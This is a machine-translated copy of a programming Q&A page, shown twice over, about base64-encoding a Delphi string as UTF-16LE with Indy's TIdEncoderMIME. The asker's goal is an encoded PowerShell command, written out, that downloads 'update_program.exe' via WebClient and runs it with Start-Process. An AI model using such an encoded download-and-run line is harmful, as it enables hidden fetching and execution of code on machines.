使用 Delphi 将字符串变量编码为 UTF-16LE base64
Encode string variable to UTF-16LE base64 using Delphi
我正在寻找将字符串变量编码为 UTF-16LE 和 base64 的方法,问题是我在 Delphi.
中找不到任何有关如何执行 UTF-16LE 的信息
Python 中的示例:
from base64 import b64encode
b64encode('my text'.encode('UTF-16LE'))
Ruby 中的示例:
require "base64"
Base64.encode64('my text'.force_encoding('UTF-16LE'))
我可以在 Delphi?
中做到这一点
已更新:
procedure TFormTest.btnTestClick(Sender: TObject);
var
dest, src: TEncoding;
srcBytes, destBytes: TBytes;
Encoder: TIdEncoderMime;
begin
Encoder := TIdEncoderMime.Create(nil);
src := TEncoding.Unicode;
srcBytes := src.GetBytes(Edit1.Text);
Edit2.Text := Encoder.EncodeBytes(srcBytes);
FreeAndNil(Encoder);
end;
是否创建了有效的 base64 UTF-16LE?
Powershell 告诉我它无效
要使用的命令:
(New-Object System.Net.WebClient).DownloadFile('http://localhos/update_program.exe','updater.exe'); Start-Process 'updater.exe'
输出错误:
Missing expression after unary operator '-'.
您所展示的内容在技术上是正确的。 String
首先编码为 UTF-16LE 字节数组,然后对字节进行 base64 编码。
由于您正在调用 TIdEncoderMIME.Create()
来创建对象实例,因此您应该使用 Encode()
实例方法而不是 EncodeBytes()
静态方法(它会在内部创建另一个实例):
procedure TFormTest.btnTestClick(Sender: TObject);
var
Encoder: TIdEncoderMIME;
begin
Encoder := TIdEncoderMIME.Create(nil);
// prior to Indy 10.6.0, use TIdTextEncoding.Unicode
// instead of IndyTextEncoding_UTF16LE...
Edit2.Text := Encoder.Encode(Edit1.Text, IndyTextEncoding_UTF16LE);
Encoder.Free;
end;
可以使用 EncodeString()
静态方法进一步简化:
procedure TFormTest.btnTestClick(Sender: TObject);
begin
// prior to Indy 10.6.0, use TIdTextEncoding.Unicode
// instead of IndyTextEncoding_UTF16LE...
Edit2.Text := TIdEncoderMIME.EncodeString(Edit1.Text, IndyTextEncoding_UTF16LE);
end;
但无论哪种方式,输出都是一样的。因此,您仍然遇到的任何问题都必须在其他地方。但是您没有提供有关如何验证数据、哪些工具拒绝它、实际报告了哪些错误等的任何详细信息。
我正在寻找将字符串变量编码为 UTF-16LE 和 base64 的方法,问题是我在 Delphi.
中找不到任何有关如何执行 UTF-16LE 的信息Python 中的示例:
from base64 import b64encode
b64encode('my text'.encode('UTF-16LE'))
Ruby 中的示例:
require "base64"
Base64.encode64('my text'.force_encoding('UTF-16LE'))
我可以在 Delphi?
中做到这一点已更新:
procedure TFormTest.btnTestClick(Sender: TObject);
var
dest, src: TEncoding;
srcBytes, destBytes: TBytes;
Encoder: TIdEncoderMime;
begin
Encoder := TIdEncoderMime.Create(nil);
src := TEncoding.Unicode;
srcBytes := src.GetBytes(Edit1.Text);
Edit2.Text := Encoder.EncodeBytes(srcBytes);
FreeAndNil(Encoder);
end;
是否创建了有效的 base64 UTF-16LE?
Powershell 告诉我它无效
要使用的命令:
(New-Object System.Net.WebClient).DownloadFile('http://localhos/update_program.exe','updater.exe'); Start-Process 'updater.exe'
输出错误:
Missing expression after unary operator '-'.
您所展示的内容在技术上是正确的。 String
首先编码为 UTF-16LE 字节数组,然后对字节进行 base64 编码。
由于您正在调用 TIdEncoderMIME.Create()
来创建对象实例,因此您应该使用 Encode()
实例方法而不是 EncodeBytes()
静态方法(它会在内部创建另一个实例):
procedure TFormTest.btnTestClick(Sender: TObject);
var
Encoder: TIdEncoderMIME;
begin
Encoder := TIdEncoderMIME.Create(nil);
// prior to Indy 10.6.0, use TIdTextEncoding.Unicode
// instead of IndyTextEncoding_UTF16LE...
Edit2.Text := Encoder.Encode(Edit1.Text, IndyTextEncoding_UTF16LE);
Encoder.Free;
end;
可以使用 EncodeString()
静态方法进一步简化:
procedure TFormTest.btnTestClick(Sender: TObject);
begin
// prior to Indy 10.6.0, use TIdTextEncoding.Unicode
// instead of IndyTextEncoding_UTF16LE...
Edit2.Text := TIdEncoderMIME.EncodeString(Edit1.Text, IndyTextEncoding_UTF16LE);
end;
但无论哪种方式,输出都是一样的。因此,您仍然遇到的任何问题都必须在其他地方。但是您没有提供有关如何验证数据、哪些工具拒绝它、实际报告了哪些错误等的任何详细信息。